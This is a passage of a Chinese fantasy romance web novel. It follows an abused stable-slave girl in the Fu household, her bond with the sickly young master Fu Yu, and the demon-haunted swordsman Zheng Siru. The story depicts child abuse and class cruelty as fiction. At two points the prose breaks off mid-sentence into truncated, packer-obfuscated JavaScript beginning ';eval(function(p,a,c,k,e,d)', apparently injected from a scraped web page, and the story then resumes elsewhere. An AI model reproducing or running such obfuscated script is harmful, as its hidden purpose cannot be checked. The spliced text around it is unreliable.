郑思如紧握着剑柄,阴沉着双眸看白衣人缓步走过,淡漠的声音如隆钟乍然响在他识海中。 “何故牵缠,何必执着,因果既定,该散了去。” 那抹白影散去,威压消散,握着剑柄的手才缓缓放松。 “因果未定。”他道。 一声悄不可闻的轻蔑的笑若有若无划过耳边。 他寻着那一行人的脚步追去。 什么因果既定,若是时间允许,乾坤可逆。 可他入傅府,想救那女子,却被她赶出去,她不以为意道:“救我?你是谁,为什么救我,救我去哪儿?第一个说救我的把我卖进楼里,第二个说救我的睡一觉不知人在哪儿了,第三个救我的——”她指着周围破败陈旧的库房陈设,“他家的女主人把我弄来这不见天日的地方。至于你,你又怎么救我?” “我能进来,也能带你出去。” 她垂下眼帘,“燕国奴籍逃跑是死罪,一被发现,无需多言,可即刻正法。” “我不会让你被发现。” “哈,”她道:“这样的承诺,于你而言是一句话,于我而言是一条命,我凭什么信你?虽然爹娘叔嫂不认我,但我也没脱籍,我走了,他们怎么办?我虽也对他们无什么感情,但也不想负债造孽。再说,我已有孕,能跑哪儿去?” “你有孕?” 她唇盘衔着了无生气的笑,“是啊,我本来不想生,可这竟是个连药也落不下来的孽障。既然老天叫我生,那我就生吧。” 她把郑思如推出门去,见外面昏厥倒地的仆婢,喉中溢出纤弱的叹息。 关上门的那刻,她道:“命本如此,何必强求?” 郑思如立在破败的库房前、压抑的小院中,望着西北角那片唯一透出光亮的蓝天,不甘的情绪如墨色晕染开,一点点侵蚀他的心。 若不是封印未除,这些凡俗怎配断她的命?怎能断她的命? 可这荒海数万年封印拜谁所赐? 这几世轮回的因果又在为谁强求? 那抹白影的突然出现,令人窒息的往事浮光掠影浮现脑海。 哪怕封印解除,难道就真能救吗? 漫长岁月中的执着,忽然出现一丝裂痕。 · 库房仆婢被打晕在地,却又未找到凶手,一切灾祸皆归因为傅家夫人带回的这位女子。 “灾星!”傅夫人借正家法的名义,将无数厉害的手段施给她。 末了,夫人看了看自己嫣红的指甲,下了判决:“马厩里的赵水为傅家也是兢兢业业数十年,一直也没个伴,将这你配了她,你们都有着落。” 旁边的丫鬟仆人,有的忍不住嗤笑了声,有的望向地上面色苍白、鬓发散乱的女子,面色露出不忍。 人群散了,小丫头站在回廊下磕着瓜子,“可怜了,一朵娇花插牛粪。那老赵是个傻子,这辈子只会养马,浑身臭腥腥的,一股子马尿味。”说完她还扇了扇鼻子和同伴笑起来。 “老爷之前不是想纳她过门,怎么如今夫人这么做,老爷全然不管……” “你傻,夫人什么身份,这傅府的富贵有一大半源于夫人家。夫人现在如此震怒,老爷又岂会为个露水情缘惹夫妻不快?” 那日离去后,郑思如再怎么想入傅府便也不得法,无论他强行还是乔装,这傅府都好似有无形结界笼罩,而这些纠葛议论他也无从知晓。冥冥之中被钳制的感觉惹人恼怒。他只能从周围市井中得一些消息。 比如傅家的生意又做大了、傅家又买了多少丫鬟、傅家二房喜得麟儿…… 傅家张灯结彩喜庆六郎诞生百日那天,下了一夜雪。 “奇了,这雪怎么下的这么大?”人们议论纷纷,都道镇上百年都再无此大雪。 “天有异象,人有大能,恭喜夫人,六郎是大富大贵之相。”宾客如是说道。 而那日,一个小生命在马厩旁的小屋中顽强降生。 被草草配给马奴老赵的女子,在傅家六郎百日的大雪夜里,生了个小女孩。 她忍痛自己处理完一切,便闭上充满倦色的双眼。 小女孩皱巴巴的小脸上,一点嫣红小痣像刺上去滴出了血般鲜明,哭声在寂寂寒风里也嘹亮。 女孩啊女孩,她心道。 你为什么一定要来到这世上受苦?为何怎样都不离去? 赵水凑了过来,带着马厩潮湿腥臊的气息,帮她擦污秽,帮她理鬓发、盖被子,笑得眼睛眯成了条缝,“好看,好看,娃娃和你一样好看。” “她是别人的孩子。”她的话比寒风还无情。 赵水像没听懂,只一味笑着,“从前他们都嫌我笨,说我是个马奴才,娶媳妇只能娶马,也只能生马孩子,现在我有娘子孩子,还都这么好看,比他们幸福一万倍。” “娘子,给孩子起个名吧?”赵水憨笑着问道。 她冷笑:“名字?名字有什么要紧。我有名字,谁记得我的名字?男人们叫我卿卿,傅家女人叫我贱人,其他奴婢也从不叫我名字,我也不知道我叫什么,也不想知道。” 赵水听不明白,只愣了下,“原来我还不知道娘子的名字,娘子你叫什么?” 她阖上眸,“我不过是一株草,不记得名姓了。但愿名贱好养活,她叫小草吧。” · 傅家后院里那些家生子们都不喜欢赵小草。 “赵小草,你身上好臭,一股马骚味!” “赵小草,你是不是天天睡在马厩里?你衣服上沾的是什么,是不是马屎?” “赵小草的爹是个大傻子,她就是个小傻子!” 赵小草很小的时候就知道帮赵水喂马养马,可她一出来要是遇到这些闲着的家生子,就会遇上这样的事。 可她不怕,用她的话来说,她打小学走路时无论摔得多惨都是自己爬起来的,遇上和男孩子打架她也从没怕过,这些污言秽语不过是挠痒痒的程度。 她从前忍让是她娘要求的,娘说这都是命,可今天这群崽子说她爹,她气不过。她红着脸跑到马厩里提了桶马尿便冲出来往这些崽子身上泼。 “赵小草,你疯了!”浓郁的马骚味和她眼里的狠劲把那些泼孩子吓跑了,只留她一个人提着空桶,在旁边哈哈大笑,“臭嘴吃马尿,喝死你们!” 沉浸在快意里的她丝毫未觉管家的来临。 直到耳朵和脸上火辣辣的刺痛猛地来袭,她被突然的掌掴打翻在地,和她的桶一齐倒在沙砾中。 耳朵轰隆隆的,她只依稀记得管家盛怒的眼神和言语:“坏胚子,小小年纪惹是生非!什么人生什么种,又贱又蠢!” 忽近忽远的怒骂声和管家狰狞的面容让她感觉遇见了吃人的妖怪。 她被打晕过去了。 等她醒来后,是在自己家阴湿的马厩边的小屋子里,旁边席上坐着她永远也不出门的娘,她娘正绣着一幅花样,面色一贯的麻木。 她咳了几声,表示她醒了,她娘才瞥了她一眼,张嘴说了些什么,可她听不清。 “娘,耳朵嗡嗡的,你说什么?”赵小草只觉得右边脸颊依旧钻心的疼。 她娘这才停下手中伙计,嘴巴开开合合又说了什么。 小草摇摇头,“声音小的听不见。” 她见她娘眼中立马浮上一抹哀色,凑到她左耳旁说话,这回小草才听得清。 “右耳被打聋了。” “聋了?”小草摸摸右耳朵,年纪尚小,并不知道这话的意义,“管家打我一巴掌,给我打聋了。” “嗯。” “聋了就是听不见了。” “是。” “哦。”她表示知道了,转而又问:“爹呢?” “你拿马尿泼了院子,管家让你爹把院子洗三次,一点灰尘也不能落下。” “凭什么?那些骂我的人他都不罚,为什么只罚我们?!”顾不上腰腿的疼痛,赵小草坐了起来,稚嫩的像星星一样的眼眸燃烧的却是更旺盛的怒火。 “凭什么?”她娘仍是绣着东西,“问的真好。” 凭什么,凭人生来三六九等,凭奴婢之间也有贵贱,凭生你的肚子不是富贵人的肚子。 她放任自己麻木的刺绣,将这些怨怼的问话吞入腹中。 赵小草受不得这压抑的氛围,顾不得腿上疼痛,她匆忙下了床,跑出屋,看到在院里跪在地上清洗地面的赵水。 她跑去跪在赵水旁边,和他一同擦地。 “小草,爹来就行。”赵水赶忙拿开她手里抹布,推她回屋。 “一人做事一人当,我不走,爹回去歇着,我自己来。” 赵水看她嘴角的一片青色和脸上的血痕,心疼的不行,从袖子里拿出来一个小纸包,“小草,爹给你带了糖,你吃点,甜甜就不疼了。” 糖对他们下人来说是珍贵无比的至宝。 她接过,用小拇指点了点放嘴里,眉眼立马舒展开,“谢谢爹。” 那群人才是傻子,她爹是世上最疼她的人。思及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我在逗麻雀,这里的麻雀都认得我,一点也不怕我,可你一来,就把它们吓到了,不信你看——”她从树下指到树上,傅钰的视线随着她指尖看上去。 可趁着傅钰不注意,小草朝他踹了一脚,傅钰没注意便被踹倒在树下,鹅黄锦衫沾了灰尘,狼狈的小公子呆呆地问她:“小草,你为什么踹我?” “傅钰傅六郎,哼!”赵小草在傅府待了许久,自然知道他是谁,“你娘也这么踹过我爹娘,我踹你也是为他们报仇。” 傅钰睁圆了双眼,“我……”他清泉的眸似是水波微漾,唇张了又张,过会才道:“对不起,小草,如果是这样,我替我娘向你赔礼道歉。” 他的回答让小草吃了一惊,“我这么说,你就信了?” “你要是不解气,多踹几次也行。”他满脸认真道。 这倒让小草不知如何说了,“你可真是个呆子。”她娘常骂赵水呆子,如今她看见傅钰,也觉得这是个呆子。 小草上前把傅钰扶起来,“你快回去吧,夫人要是找不见你,要把府里给掀翻了。” “小草,麻雀有什么好看的呢?”傅钰看惯了爹娘豢养的那些燕雀鹦哥,爹娘十分宝贝那些禽鸟,用名贵的木材打造笼子,将它们囚在庭院中。那些燕雀鹦哥也确实美丽,五彩羽毛,拟人声线,无趣时看看也能寻得几分欢乐。 那灰扑扑的小麻雀有什么好看。 “你看,他们能飞那么高呢。”小草仰仰头。 “也不是很高,那波斯卖来的颉羽鸟,能飞千米之高呢。” “这么高就够了,还要多高?我又看不见。” 小草不以为然,她回身说:“好了好了,你快回去吧,从这条道出去右边第三个院落是管家,你让她带你回你娘身边吧。” · 小草的耳朵后来恢复了些,所以听见那些恶语时又无法自控。 她那日刚尝了尝纸包里的糖,被那群孩子看见,为首的道:“我说那养马的这几天怎么老守在泔水桶附近,原来是拣贵人们吃剩下的糖。赵小草,你的糖是不是一股馊味儿啊?吃的这么开心,是因为糖馊味和你自己身上的马腥味一样吗?” 那包糖的纸包好像蓦地变成燃烧的火,烫的小草手疼。 她紧紧捏着拳头,刚好这时赵水提着两大桶马的粮草回来了,见那群孩子和小草又对峙站着,他脚步不由加快。 “臭死了!”一个孩子捏着鼻子,那赵水走得快掀起一阵风,“臭养马的,臭气熏天!” 赵小草忍耐不住,挥着拳头就跑上去和那群孩子扭打在一起。 两圈难敌四手,何况这么多手,她就像地上的草一样被打在土里。赵水没有办法,赶紧跪下来朝那群孩子磕头,“小老爷们,你们别打了,饶过小草吧,要打打我。” 小草忘记挣扎,脸上挨了几拳,她不明白为什么爹就这么跪下了。 “爹,你干什么!教他们打死我!来啊,打死我!”赵小草脸上满是血迹,一双眼悲愤无比尽是猩红,喉中的愤怒和凶悍却把那些孩子吓住。 “今日你们不打死我,我以后打死你们!见一个打死一个!”她说这句话时刚好有几颗松动的牙掉了,血流进口腔,她把那些血喷出来,溅在一个孩子的脸上。 赵水被她话吓得半死,却又不知该做什么,只能一味磕头。 毕竟都是小孩,看见血还是受到了惊吓。 “赵小草疯了!”不知道谁说了一句。 那些孩子忽然后怕,从她身上爬起来跑开,像退潮的水。 赵水见孩子们跑开,颤抖着手抚上小草的鬓发,从衣袖里拿了包糖放到她唇边,“乖小草,吃糖就不疼了。” 赵小草看着那包糖和依旧跪在地上的赵水,只觉得那糖包越来越热,像把她的心烫个洞出来,又像有棵直直的树在她面前被拦腰折断,竟是两眼一黑,昏死过去。 65. 金玉有本质(2) 赵小草发了七日的高烧,梦中说了许多胡话,又是“我就喜欢麻雀”又是“我杀了你们”,手还一直在空中摆动,直把赵水吓得不轻。 赵水怕她活不下去,成日以泪洗面,央求管家找个大夫,结果当然是碰一鼻子灰。 而她娘却说,要真活不下去倒是好事。 可这丫头命硬,从有她那刻,她就命硬,怎么会这么轻易死。 她是对的,小草在七日后悠悠转醒,只是本就瘦削的身子又消瘦了一圈,简直像一些皮肉挂在骷髅上。 小草也不再积极地帮赵水做事,每天都跑到找不到的地方,傍晚才回来。 她和傅钰有了秘密基地。 那日见傅钰后,傅钰后面竟又回来找她。傅钰总给她带些小东西,有绣工精巧的小香包,有嵌了宝石的小耳珰。她一次次的拒绝,傅钰一次次的失望离去。 一次,傅钰兴高采烈地拿着画了麻雀的纸灯找她,“小草,马上就是上元夜,每个孩子都该有一个纸灯,你喜欢麻雀,我给你画了麻雀,你看喜欢吗?” 那小麻雀画的栩栩如生,很是可爱,她眼中浮上喜色。 可她一想到这是傅家人的东西,根本不想碰,她硬着心肠、满怀恶意地当着傅钰的面把那些纸灯扔在地上。 “我不要!”她恶狠狠道。 “小草,那你要什么呢?我只是想和你做朋友。”小公子看着地上礼物的残骸,有了泪意,清泉一样的眼睛里涌上悲伤。 “我什么也不要!”她盯着他,“你为什么要和我做朋友?” 傅钰把纸灯捡起来,垂着眸像做错了般道:“我不知道,我只知道我看见你就觉得很亲切,我想找你玩。” “想找我玩?”小草重复了一遍,“好,你帮我教训他们,我就和你玩。” “他们?” 小草把那些人的名字和身份告诉他,“你是傅家公子,教训他们绰绰有余吧。只要你把他们教训一顿,我就和你玩。” 后来没过几天,听说那群经常和她作对的泼孩子都被赶出府了。 起因是他们冲撞了小公子。 他们哭闹着被赶出去。 “怎么没打一顿?”小草仍是愤愤。 “打了,我娘把他们每个人打了二十棍子。”傅钰盯着她语气认真道:“小草,现在我们是朋友吗?” 小草没理他这句话,感叹道:“你竟这样轻易的做到了。” 而她为了和他们抗争,却险些被打死。 这令人快意的信息让她既开心不已又几分感叹。 麻雀只要飞那么高就好了,哪里见过那些珍禽异鸟能飞多高多远。 傅家很大,傅钰找到一块偏僻却风景独特、开满桃树的地方,每日约定在午后见面。午后不用做课业,傅夫人去小憩,他借着书房看书的名义,不让丫鬟小厮陪着,自己跑去和小草在那处见面。 在夫人老爷面前,他只能说之乎者也四书五经。 在小草面前,他能和她讲那些爹娘不让看的市井话本子,而且小草也听得津津有味。 “那小狐狸最后找到书生了吗?书生最后报仇了吗?西边的山真的比天还高?东边的海里真的有鲛人?鲛人的泪真得能变成珍珠?卖珍珠的姑娘最后回到了家人身旁吗?神仙到底能活多少岁?三光大神真的无所不知无所不能吗?” 在这纷扰的问题里,在这光怪陆离的话本世界中,在这成熟一年又一年的桃林里,桃花开谢,桃树枯荣,光阴逐水。 纤瘦的女孩长成小姑娘,那点痣似朱砂卧雪,笑间渐有些令人怦然心动的秀美。 她无法像傅钰的姐姐们那样浮粉着色或膏脂润肌,肌肤并不那么细腻也不散发着脂粉香,却自有天然的一派生机。 他回想,当初小草为什么说自己喜欢麻雀呢。 比起那些笼中翠鸟,小麻雀是那么渺小却又富有生机。 “我想出去看看。是了,待在这儿这么多年,为什么我没想过出去看看?”像是想到什么,小草眉眼倏然发亮,她抚掌笑道:“六郎,我要去看看你说的江湖是不是真的。” 傅钰看着她的笑,也跟着笑起来,可笑着笑着又犯了难,“可是我也没怎么出去过。” 傅钰是娘胎带出来的不足,体弱多病,不能跑不能跳,也不怎么出府。他所有的见识学问,都来源书里文字——无论是列子典籍,还是市井话本。 “那我们去看看——翻过这墙,看那边有什么?是否有你说的执一柄剑就闯荡江湖的游侠豪杰,又是否有那翻手为云覆手为雨的神仙!”她指着桃林后堆满落叶的高墙道。 傅钰犯了难,他也想知道,可……“我们怎么出去呢?” “自是有办法!”小草拉着他到墙下,“你若是愿意,我就能出去了。” “你让我做什么,我自然愿意的。” “那你半蹲,我踩着你上去,我扒住那树枝,就能攀出去了。”小草想到马上能离府,双眼全是憧憬。 傅钰只觉得小姑娘的眼睛比平时还要璀璨发亮,不由得点点头,任她差使,他蹲着任她踩上后背又踩上肩,怕她不稳用手护着她的腿,担忧道:“小草,你能碰到吗?会不会太危险,我放你下来吧。” “六郎不要,我快了!你再坚持坚持!”小草用手努力够着树枝,她憋着气一跳,终于攀上树枝,悬吊在空中。 因她脚下用力,傅钰哎呦一声跌在地上。 “六郎,你没事吧?我是有些重了。” “不妨事不妨事,”傅钰朝她宽慰一笑,揉着腿站起来,“小草很轻,是我最近没有锻炼,身子弱了。” 小草冲他一笑,在傅钰担忧又惊讶的眼神里靠着双手往高处小心翼翼地攀去,脚下用力,终于够着高墙。她慢慢使劲,终于从树上爬到高墙上。 墙很高,她既兴奋也紧张,小心翼翼撇开树枝,将自己全转移到墙上。 “小草,你真厉害。”他夸道,可马上他就反应过来,“可你怎么下去?” 小草却不怕,“上来都上来了,下去还难嘛,横竖摔不死!” 她这番话把傅钰吓得半死。 小草朝他嘻嘻一笑,“别怕。”说完便望向墙的那边。 墙的那边是一条巷子,有三三两两往来的她从没见过的行人,有那头的街巷,有更蓝更广阔一些的天空,她看见她惊起了树枝上的一群小麻雀,它们都往那更蓝更广阔的天空飞去。 她看着那群飞雀,人生中没有哪一刻比现在更激动。 一个小小的心脏,一方偏狭的地界,掀起狂风巨浪,成就一个独奏的狂欢曲。 她望着来来往往的行人中忽然出现的一个身影。 那身影一袭银竹墨袍,青丝高束成马尾垂下,他背着一柄剑,一身游侠打扮,孑然一人地走在巷中。 斜阳铺开他孤寂的剪影,镀在青石板路上。 这就是江湖吗? 是江湖里的侠客吗? 似乎是感知到她炽热的目光,那游侠抬头朝她看来。 他的容颜让她屏住呼吸。 他的眉眼让她想起傅钰说的一个话本里面的绝世宝剑,那宝剑锋芒锐利、寒光如星,杀人不见血,剑柄嵌满华贵珠宝,即便如此也无法抑制那锐利杀气。 可即便杀气深重,那上面的珠宝也熠熠生辉。 漂亮又危险。 可她并不畏惧那危险,只惊叹于那漂亮。 小草喃喃,“六郎,我见到神仙了。”她迷茫着,却又坚定地送开了抱着墙的手,从高墙的那边滚落。 不是掉在硬石板路上摔得生疼,她跌落在神仙的怀抱。 神仙真好看,她想,她屏着呼吸用眼睛去描摹他的容颜。却忽视了那人望着她时的震惊、莫名的喜悦,等等复杂的情绪。 “神仙怎么会在这里,是……专门等我的吗?”她怔怔地问道。 问完才发现这问题极可笑,不禁羞红了脸。 天啦,她问了好笨的问题,要是真神仙,不笑话死她。她是什么人物呢,一株路边的小草罢了。 她愈发的窘迫。 可那神仙却朝她点点头,“是,我是专门等你的。” “只等你。” 等我做什么呢?她想问,又怕问多了惹神仙不快,毕竟话本里的神仙都很有脾气。她只能想到的最合理的解释,竟是她娘最常说的那句话—— “小草,这是你命中注定的事。” 这是她命中注定的事啊。 一向痛恨这句话的她,此刻却又信了这句话,让她的脸上露出别样的神采。 “你住在这府里吗?”他问。 “是。” 神仙又陆续问了她很多,她的爹娘是谁,这些年过得怎么样……她都一一和神仙说了,说到气处,柳眉倒竖拳头紧握。 她说着说着,感到神仙抱她越紧,她不好意思道:“神仙,我喘不上气了。” 他才一怔,放松了些,“你从未逛过市集,今日我带你逛逛,好吗?” 神仙太温柔,温柔的不真实,倒教她不好意思,“好,谢谢你。可是我却没有可以回报你的地方。” “不需要你的回报。”他把她放在地上,解下背上的剑挂在腰间,蹲在她身前道:“抱着我的脖子,我背你去。” “我走就可以了。”她羞赧道,怎么能让神仙背她呢。 “你刚刚和我说,傅家女儿无论是出门还是在家从来不用自己走路,有小轿乘坐,我没有准备小轿,也能让你不自己走路,比她们还要舒服。” 可不是比她们还舒服!小草心想,傅家女儿只能被仆役抬轿,她却能被神仙抱,还能被神仙背。 她轻轻搂上他的脖子,他站了起来,离地一远,她轻呼一声。 “怎么?” “神仙,你好高。”她才十岁,从小瘦弱,长得也矮小,傅钰高她一头,而这神仙更是不一般高大,比她爹娘还有讨厌人的管家都高。 他笑了。 她不好意思趴在他的背上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这腰挂宝剑的玄衣少年,面色冷厉却实在俊美,他背上的小姑娘更是有趣,像个缀满珠宝的衣架子,不过也是秀美绝伦。也就是十足的美人胚子,才能抗得起这奇特造型。 郑思如倒对这造型什么不敏感,只想把什么好看好吃好玩的都堆给小草。 他听小草这么说,才把她放下去,让她走走消食。只有当她彻底正面他时,他才觉察出一丝不对劲。 他听她说起傅家女儿时那艳羡神色,想着让她拥有更多,但又嫌麻烦,看她觉得好看就让老板直接插在头上。如今一看,那满头的珠翠委实是重。 他心里有些尴尬,面色不显地把那些头饰取下来,找了个店家要袋子装起来,“拿回去,喜欢什么用什么。”思及此,他从衣襟中拿出一根簪子,“其他簪子都可以丢了,这根千万要拿着。” 那根簪子簪头雕了莲花,衔着红珠,煞是好看,她一眼就被吸引了。 “这簪子,也送给我吗?”她惊道。 郑思如颔首,“它本该属于你。” 她小心翼翼接过,“我一定好好保存。”说完,她将它缀入自己的发髻。 郑思如看她手腕上三四个镯子,轻咳了一声,帮她拿下几个,只留一对,“饿了吗?我带你去吃好吃的。” 小草这才如梦初醒,拒绝了他:“哥哥,谢谢你,可是我还要回府里,爹娘还在等我呐。” 话音刚落,郑思如的面色却沉了下去。 “你还要回去?” 一路上他虽一直冷着脸没什么表情,她却能感到他对她的温和,可这句话说出来后,她没由来感到一丝寒意。 他生气了。 “我……”小草看着那一袋袋的珠宝玩具感到局促不安。“对、对不起,我这些还给你吧郑公子,今天你带我玩我很开心。” 称呼从思如哥哥变成郑公子,她小心翼翼拒绝他好意的样子让他更是生气,可意识到他的怒惊了她,郑思如有些懊恼,压住周身戾气,却又不知如何开口道歉,只能干巴巴道:“我带你回去。” 回去时星河布满天幕,她想把东西还给他,他说:“既送了你就没再要回来的道理,何况我一大男人要这些做什么?” 他碰不得傅府,只能让小草踩着他的肩攀上来时的墙。他比傅钰高许多,所以她也不用借助外力上墙。 “若还想找我,就到市集上最近那家兵器铺子去。” 小草点头。 “不准叫郑公子。” “那、那叫什么。” “原来叫什么,便叫什么。” “思如哥哥?” 郑思如不咸不淡地嗯了声,小草要攀上墙时,听他淡淡问道:“你会来找我吗?” “一定!” 她攀上墙,身影渐渐没入树和夜,只留那坚定的声音似是还回响在夜色里。 夜色看不清墙下,小草攀着树枝,有些艰难地一点点挪动到树干,然后顺着爬了下去。说是爬也不大准,只能说是半爬半摔下来。 毕竟很高,她摔得痛呼出声。 “小草!”墙边传来熟悉的声音。 她吃痛睁眼,看见傅钰跑来。 她惊讶,“这都好几个时辰了,你怎么还不回去?待这儿做什么?” 那鹅黄锦衣的小公子温和的双眸盛满担忧,比月色还柔几分。 “小草,我想着……我走了,你能踩着谁下来呢?” 66. 金玉有本质(3) 小草望他半晌,只说了两个字。 “呆子。” 傅钰待她真挚,不知为何,她心底却升起一股没由来的烦躁。“快回去吧,已经很晚了,你路上快想想对你娘的说辞。” 说完她扭头就走,面对傅钰她竟有莫名的怯意。 怯意,怯什么呢? 傅钰在她身后有些失魂落魄,却也默默离去。 · 后面一两年的时光于她而言是难言的幸福快乐。 娘也为她改了名。 ”当初起个贱名,怕养不活,既然大了,该有正经的名字。杜若萱芷皆香草,我叫萱芷,你便叫杜若吧。” 傅钰和郑思如也不再喊她小草了。 傅钰和郑思如,一个在墙内,一个在墙外,带她见识了许多,一个马厩少女过往从未接触过的五彩斑斓的世界,这五彩斑斓的世界中有华丽珠宝、珍禽异鸟、乡野传说、才子佳人,有无数无数的美好。 傅钰教她写字,她识了许多字,傅钰看了很多话本,也会自己写,她便看他的话本,与他一同遨游在想象的世界。 桃林里,高墙内,她念他纸上未干的墨迹。 少女如黄莺的声音一字一句念着他的文章,“初生棠花不知愁,足与春光竞风流。六郎,海.棠花怎能和整个春光争风流呢?” 在她的泠泠笑声和弯弯眼眸中,傅钰轻颤着睫,耳根一片薄红。 初生棠花不知愁,足与春风竞风流。 急煞廊外看花人,不知花向何处求。 后面那两句,他并不敢说出。他日日观文,比同龄人也要早慧。初生的情思,只敢藏在心里,不敢道破。 他喜欢她喊他六郎。 六郎,六郎,从前那清脆的声音像自由的飞雀,让他开心快乐,羸弱的身体也充满活力;如今那娇美的声音,喊的他脸热心跳。 杜若不知,只是笑他。 “我们六郎才思敏捷,文采斐然,将来是能做大官的。”她说。 “我并不想做大官。” “那六郎也能成为最好的话本大家,像前辈那样,写出的故事一年两年、十年百年的流传下去,被后世的人们所敬仰。” “好,那我努力。”他哪里能做成话本大家,只要她喜欢他的文章,就可以了。 他写了很多诗词,也写了很多文章,他把它们收在盒子里,在杜若十三岁那年送给她。“我总想着到底什么是妹妹喜欢的礼物,想了许久,还是把它们送给你,妹妹喜欢吗?” 杜若十分惊喜,“可你给我了,你就没有了。这是你多年的‘宝藏’,怎么就轻易给了我呢?” “这些自己写的东西也只能给你看,也只有你会看。我自己有誊抄多一份,不妨事。” 杜若很是感动,收下这充满少年心事的礼物,闲来无事时,她也在上面写写画画,有时是补上几句,有时是续上一段。 经年累月,那小盒子里装的就是两人沉甸甸的笔墨。 无一字情,却处处思。 · 而郑思如带她见了许多不一样的风景,带她捉蝴蝶,看萤火虫,看日出日落。郑思如会很多东西,会锻剑,会舞剑,会用剑行侠仗义。只要她与他出去时遇见的恶霸,他都能把他们打个落花流水。 郑思如是杜若心里话本上典型的少年侠客、江湖英雄。 要说他有什么缺点,唯一便是待人接物太冷,似乎是对她以外的人都漠不关心,甚至懒得搭理一个字;即便是对她,情绪也有些不稳定。 杜若央着他教她剑法,他应允,她练完剑笑着说:“以后思如哥哥就是我师父了。” 他却忽然冷声道:“我不是你师父,不许叫这个称呼。” 她呆了半天,微笑僵在唇边,不明白他的怒意从何而来。 可是惊吓着她后,他又似乎很后悔,虽说不出道歉的话,却走在她身旁强行温声道:“练剑太累了,我带你去看小鲤鱼,好吗?” 他的“好吗”是他给予的最大限度的温柔。 有时候她觉得郑思如来去自由非常潇洒,有时她又觉得他的肩上背负了很多东西,那冷冽的眼中藏着化不开的沉思。 也许这就是一个江湖侠客的宿命。 影子是孤单的。 剑是沉重的。 可即便如此,他对她依旧是纵容的。 “我不想看鲤鱼,哥哥方才又凶了我,之前说好的,凶我一次要替我编一次头发,在兵器铺后面的院子里种十枝杜若去。” “好。” 起初她每次的离开都会让他不悦,后来二人就定下这规矩。加上她后来也常来,那不悦也渐冲淡了。只是这规矩之后,他一个大男人也会编姑娘家的头发了。 这双手之前也只知道执剑,或是拿酒壶。 遇见她,会拿小花灯,会抱人,甚至会编头发。 杜若很特别,他看着她从女孩成了小姑娘,后面也许会渐渐变成大姑娘。 后面会怎样呢? 他不知道,可他的内心深处,抗拒着“后面”的来临。 每次的离别都让他无奈、惶恐,近些日子想起这些事时,他感觉无法抑制体内的魔气,时常在她走后,那双眼瞳像被火灼烫一样渐渐转成赤眸。 郑思如,原本就是郑含元的一缕心魔。 魔气盛起时,神刺下的符咒也会随之浮现,在白皙的脸颊上烙上血色的印记,狰狞诡异。 这具心魔之体已经出世许久,历经数次她的情劫,原本的克制随着她一次次的死亡而土崩瓦解。他的理智与喧嚣的欲.望执念做抗争,在她不知道的时刻忍受着灵魂割裂般的神罚。 “因果既定,该散了去。”白衣人的话再次浮现于心中。 岁月里,那执念的裂痕愈发深刻。 · 而那一边,杜若再也不觉得“命”是一件母亲口中那般可怕的事。 因为命运,她邂逅了迷路的傅钰,因为命运,她邂逅了路过的郑思如。一个是她的公子,一个是她的神仙,这样的际遇还不够好么。 又还能怎样好? 与其说她享受着两份截然不同却殊途同归的温柔,不如说她享受着那背后的由金钱、权力和实力带来的自由与缤纷。 她讨厌的那些孩子,若真下狠手能把她打死,却因为傅钰一句话被逐出府。 她羡慕傅家女儿穿金戴银,郑思如也能随手为她一掷千金。 郑思如随手的银子,傅钰随口的一句话,为什么她觉得比登天还难的事,他们都能轻而易举做到呢? 十岁的她想不明白许多事,却从中敏锐地嗅出人的高低贵贱。 小时候,那位华贵衣衫的傅夫人偶尔来马厩,最喜欢骂她娘贱人。后来见娘那副破败样子,她也就不来了。 贱人?活在这里的人,的确很“贱”。 可为什么呢?凭什么?凭什么她生来就是马奴的孩子?为什么傅家女儿就能满头珠翠、浑身绫罗,出门不用走路,喝水有人端茶? 十三岁的她,不再纠缠于凭什么。 还没学会利用这样薄情寡义的词汇,她懂得借力使力,借用高贵的手,摘那高处的——曾经低贱之人碰不到的枝头花。 感情是真的,被所谓高贵人物疼爱和物欲带来的快乐满足也是真的。 她越来越讨厌回马厩。 一回到那方小小的马厩,她的心情更阴郁起来。 娘早已对她的晚归视若无睹,依旧绣她手里的帕子。 爹说:“小草回来了,饭凉了,爹给你热热。” 赵水不习惯叫杜若,还只会叫他小草。 “我不叫小草,我叫杜若。杜若是一种很香的草。”她略有些不耐地和赵水解释。 赵水憨笑,“香草也是草。” “不是。”杜若搪塞过去,不欲争辩,她盯着娘手里的帕子,开口道:“这帕子给了管家,能换多少钱?” 娘微惊望她一眼,“问这个做什么?反正一个月绣十条,能换二十文。” 杜若摸着自己腕上的玉镯,这镯子要三钱银子,一钱银子是一百文钱,三钱银子三百文,她娘绣一年多才能换一个。 “小草,吃饭吧。”赵水十年如一日的温厚声音打断了她的思绪。 赵水弓着背,带着讨好的笑容把热好的馒头塞到她手中,虽不美味却能果腹的菜放在小桌上。 曾经她那么喜爱的慈爱包容的笑容,不知为何今日看起来却让她十分别扭难堪。 她想起当初被欺辱时,赵水下跪的画面又恍惚出现在脑海中。那一跪比被打还让她羞愤。 爹啊爹,那傅夫人在府里呼风唤雨,好不威风,你怎么却如此窝囊。 她其实已经不饿了,却恶狠狠大口咬下馒头,报复似的吞那干巴巴的硬馒头,直到把自己噎着,憋得满脸通红。 “小草,饿了也不用吃这么急,慢慢吃。”赵水被她样子一惊,赶忙要帮她顺气,她却一把拍开他的手,爬到床里头去躺着,留下赵水错愕在原地。 马厩很小,一方床榻承载的三人梦乡。她从前从未觉得这儿有什么马骚味,也觉察不出来这里的阴冷潮湿,对父亲梦中鼾声也无甚感觉,可今日这些一齐明晰了,她的五感六识充斥着这些“低贱”的气息。 见识过富贵温柔,怎耐得住破败贫贱。 思来想去,竟是不争气地哭了。 在这郁愤的情绪中,她愈发沉溺于墙内外的温柔。 她也终于明白傅钰望她的眼神承载着什么,借机让他用一种不易觉察的方式说动傅夫人为她们从马厩旁的小屋换一个干净宽敞些的大屋子。她也隐隐看出郑思如莫名无来由的疼惜和随之而来的纵容,享受着他无条件的赠予,也沉沦于他对她和其他人的区别对待。她心道,无人能抗拒这般俊美的男子这样慷慨的情意。 